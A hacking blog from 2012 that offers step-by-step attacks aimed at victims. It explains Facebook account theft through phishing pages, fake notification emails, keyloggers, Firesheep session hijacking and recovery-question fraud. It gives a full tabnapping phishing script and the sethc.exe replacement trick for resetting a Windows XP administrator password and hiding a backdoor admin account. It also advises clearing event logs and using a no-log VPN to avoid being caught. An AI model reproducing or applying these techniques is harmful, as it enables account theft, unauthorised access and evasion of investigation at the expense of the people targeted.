Wednesday, 14 November 2012

Facebook Hacking Using Keylogger

Keyloggers can be classified into two main types:



1. Hardware Keylogger

2. Software Keylogger





Hardware Keyloggers



A hardware keylogger is also used for keystroke logging, a hardware keylogger is plugged between the keyboard plug and the USB or PS/2 port socket, and they work with PS/2 keyboards and also usb keyboards,

A hardware keylogger is just like a normal USB drive or any other computer peripheral so that the victims can never doubt that it is a keylogger, Hardware keylogger has any inbuilt memory which stores the typed keystrokes.







Software Keyloggers



The hardware keyloggers are extremely useful only in case if you have physical access to victims computer, but what if you dont have physical access to victims computer and sometimes the victim might notice it

Tuesday, 13 November 2012

How hackers Never get caught

How hackers get caught.
Hiding you and securing as “Hacker”.
Destroying your system logs.
Setting up VPN – Making you anonymous.

1) How hackers get caught:

- First stuff that gives you away are “LOGS”.
You need to know how events, application, and system logs work. If you dont, you can be easily caught!
The shell history will expose your actions.
Another giveaway is leaving a “:wq” in /var/log/messages or binarys.

- Your laziness will take you into problems.
NEVER HACK FROM HOME! Take your time, and go to net cafe or anywhere else apart from home. Logs will take you down!

- The code that you run on system will take you down. If you compile the code on target, libraries will give you away!

- If your victm, notice, that he is maybe hacked, or something is wrong.. He will ask from his ISP for IP logs, and if you dont use VPN, or if you hack from home, they will hunt you down.

- Thing, that takes you down 100% is BRAGGING. It is common problem of beginning hackers. They like to brag, to earn respect and reputation but NOT KNOWING that is the matter of minutes, hours may be days when they will be caught.
*Don’t use Hotmail. CIA Owns it!

2) Hiding and Securing you as “Hacker”

- Temporary guest accounts, unrestricted proxy servers, buggy Wingate servers, and anonymous accounts can keep hackers carefree.

*A young hacker is less likely to know all the little things that an expert hacker might know. Besides, the young hacker may be trying to impress others – and get a little careless about covering his tracks. This is why younger hackers are often caught.
*An older hacker, on the other hand, will rarely leave any tracks. They know how to use their slave’s computers as a tool for a launching place to get into another computer.

There will always be hackers, and there will always be hackers in prison.

* DESTROY LOGS, REMOVE ALL YOUR TRACKS!

* DO NOT HACK AT HOME! USE VPN THAT SAVES NO LOGS!

HOW TO REMOVE YOUR SYSTEM LOGS:

Choose Start > Control Panel.
Double-click Administrative Tools, and then double-click Event Viewer.
In either pane of the Event Viewer window, right-click System and then select Clear All Events.
To save the current system log, click Yes when Windows returns the message, “Do you want to save ‘System’ before clearing it?”, enter a file name for the saved system log file, and then click Save.


Virtual Private Network – VPN

1)I will recommend you to use proXPN.
It is VPN that do not store logs.
proXPN: http://proxpn.com/download.phpProXPN Windows installation:


(I used images from proXPN official website)
Click “Next”
Just click “Agree” here to continue installation.
Let the installer run until completion.
Just click the “Finish” button to complete the installation.
Welcome to the proXPN client. Click the “Don’t have an account?” link to create a new account.
Enter your email address and the password of your choice. Then check the license agreement checkbox and click the “I agree – create account” button.
Click “OK” to finish the account signup process in the software client.
Check your email for a greeting email from proXPN. In that email is a link which you will need to click in order to activate your free account. If it doesn’t show up within a reasonable timeframe, make sure to check your spam folders. Once you’ve clicked the link in the email, your account should be active. Go ahead and click the “connect” button to connect to proXPN
Once you connect, the system tray icon will turn green. You’re now surfing safe and secure, courtesy of proXPN.

And you are done with securing yourself.
i.e How hackers Never get caught
Just to make sure, go check if you are truly anonimous
http://www.ip-adress.com/Proxy_Checker/

hack windows xp administrator password

Hack windows xp administrator password
windows xp admin password hacking through Guest Account:
admin account from a guest account by which you can reset the administrator Ever wanted to hack your college pc with guest account/student account so that you can download with full speed there ? or just wanted to hack your friend’s pc to make him gawk when you tell your success story of hacking ? well,there is a great way of hacking an administrator password and getting all the privileges an administrator enjoys on windows..Interested ?

Concept:

Press shift key 5 times and the sticky key dialog shows up.This works even at the logon screen. But If we replace the sethc.exe which is responsible for the sticky key dialog,with cmd.exe, and then call sethc.exe by pressing shift key 5 times at logon screen,we will get a command prompt with administrator privilages because no user has logged on. From there we can hack the administrator password,even from a guest account.

Prerequisites

Guest account with write access to system 32.

Here is how to do that -

* Go to C:/windows/system32
* Copy cmd.exe and paste it on desktop
* rename cmd.exe to sethc.exe
* Copy the new sethc.exe to system 32,when windows asks for overwriting the file,then click yes.
* Now Log out from your guest account and at the user select window,press shift key 5 times.
* Instead of Sticky Key confirmation dialog,command prompt with full administrator privileges will open.
* Now type “ NET USER ADMINISTRATOR aaa” where “aaa” can be any password you like and press enter.
* You will see “ The Command completed successfully” and then exit the command prompt and login into administrator with your new password.
* Congrats You have hacked admin from guest account.

Further..

Also, you can further create a new user at the command prompt by typing “NET USER XERO /ADD” where “XERO” is the username you would like to add with administrator privileges. Then hide your newly created admin account by -

Go to registry editor and navigate to this key

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList]

Here create a new DWORD value, write its name as the “user name” that u created for your admin account and live with your admin account forever

ADVANCE PHISHING (TABNAPPING)





Make a web page and use the tab napping script in that page say it page A. This script will not affect the layout or content of the page. This script will check for user actions. If the page is idle for some time, this script will redirect this page to a pre-specified page which may be your phishing page. You have to specify this page in the script. Be sure to change this in script.

check script for this line...



timerRedirect = setInterval("location.href='http://www.gmail.com'",10000);



this line will redirect to Gmail after 10 sec. Change this location to the address of your phishing page. This line is used 2 times in the script so change in both lines.



so, page A with tab napping script will redirect to phishing page B.



Now send the link of the page A to your victim. This is a normal page. If the page is idle for some time it will be changed to page B otherwise no effect.



Hacking internet and computer tips and tricks











<script type="text/javascript">

var xScroll, yScroll, timerPoll, timerRedirect, timerClock;



function initRedirect(){

if (typeof document.body.scrollTop != "undefined"){ //IE,NS7,Moz

xScroll = document.body.scrollLeft;

yScroll = document.body.scrollTop;



clearInterval(timerPoll); //stop polling scroll move

clearInterval(timerRedirect); //stop timed redirect



timerPoll = setInterval("pollActivity()",1?); //poll scrolling

timerRedirect = setInterval("location.href='http://www.gmail.com'",10000); //set timed redirect





}

else if (typeof window.pageYOffset != "undefined"){ //other browsers that support pageYOffset/pageXOffset instead

xScroll = window.pageXOffset;

yScroll = window.pageYOffset;



clearInterval(timerPoll); //stop polling scroll move

clearInterval(timerRedirect); //stop timed redirect



timerPoll = setInterval("pollActivity()",1?); //poll scrolling

timerRedirect = setInterval("location.href='http://www.gmail.com'",10000); //set timed redirect





}

//else do nothing

}



function pollActivity(){

if ((typeof document.body.scrollTop != "undefined" && (xScroll!=document.body.scroll?Left || yScroll!=document.body.scrollT?op)) //IE/NS7/Moz

||

(typeof window.pageYOffset != "undefined" && (xScroll!=window.pageXOffset || yScroll!=window.pageYOffset)))? { //other browsers

initRedirect(); //reset polling scroll position

}

}



document.onmousemove=initRedir?ect;

document.onclick=initRedirect;

document.onkeydown=initRedirec?t;

window.onload=initRedirect;

window.onresize=initRedirect;

</script>


Note:You have to copy a source code and paste it into two seperate notepadd++ tab
the first one for the tabnapping, so you will put the script here so that it will redirect to the second one which is actually your phishing page...

Monday, 12 November 2012

Facebook Hacking



Different Ways To Hack Facebook Accounts :-)



1:) phishing:- Phishing or fake page hacking is the most widely used hacking trick for any type of accounts of website. It can also be implemented as in this case too.. That post was specially for Gmail. The same process will be applied in the case of faceook too. you only need to save facebook login page to your system and make changes to form element of action as per in my that post. you can also use Tabnapping . This is also a type of phishing but it will make it easier to send your fake page to the victim.



IMPORTANT: sending fake page in case of simple case is not so easy. I am suggesting you an effective way of doing that. You get Facebook notification emails. Use the format of that email address but replacing the URL with your fake URL ;)





2:) Keylogger:- Keylogger is another useful tool to hack someone's facebook account. If you do not know about keyloggers search google . download some keyloggers from google. Kelogger download . Now it's up to you.. how you are using this tool. If you have physical access to victims system, you can manually install this tool and it will effectively work.



Download WinSpy and read How to hack facebook with keylogger



NOTE: Never search for the free or crack. Because that will not work. Some hackers also hosted it for free with Trojan. When you will use those free hosted on some file hosting server, you are taking risk with your facebook account which can be hacked with that trojan. So download only with the official link given above.





3: Firesheep:- If your victim uses unsecure wireless network then you can hack him easily by using mozilla firefox and a simple firefox plugin. Firesheep. read this post to know about firesheep and dowload it from that post. Firesheep use this tool to hack.





4: Hack facebook's primary email address:- Hacking someone's email account also need above described methods (phishing, keylogger, firesheep) but you can also hack it by using forgot password and then by guessing his security question. Many times people use simple security questions.





5: facebook's can't access account option:- there is an recovery option in facebook account. You can mention that your primary email address is also hacked. Then they will ask you many questions regarding that account. as some name of friends, account holder's some personal information etc. If you know about victim well, you can be able to answer all those question. then facebook will ask you for new email address for password recovery. Give any email address which you can access.

Wellcome To Hack Center

Here you got all hacking tricks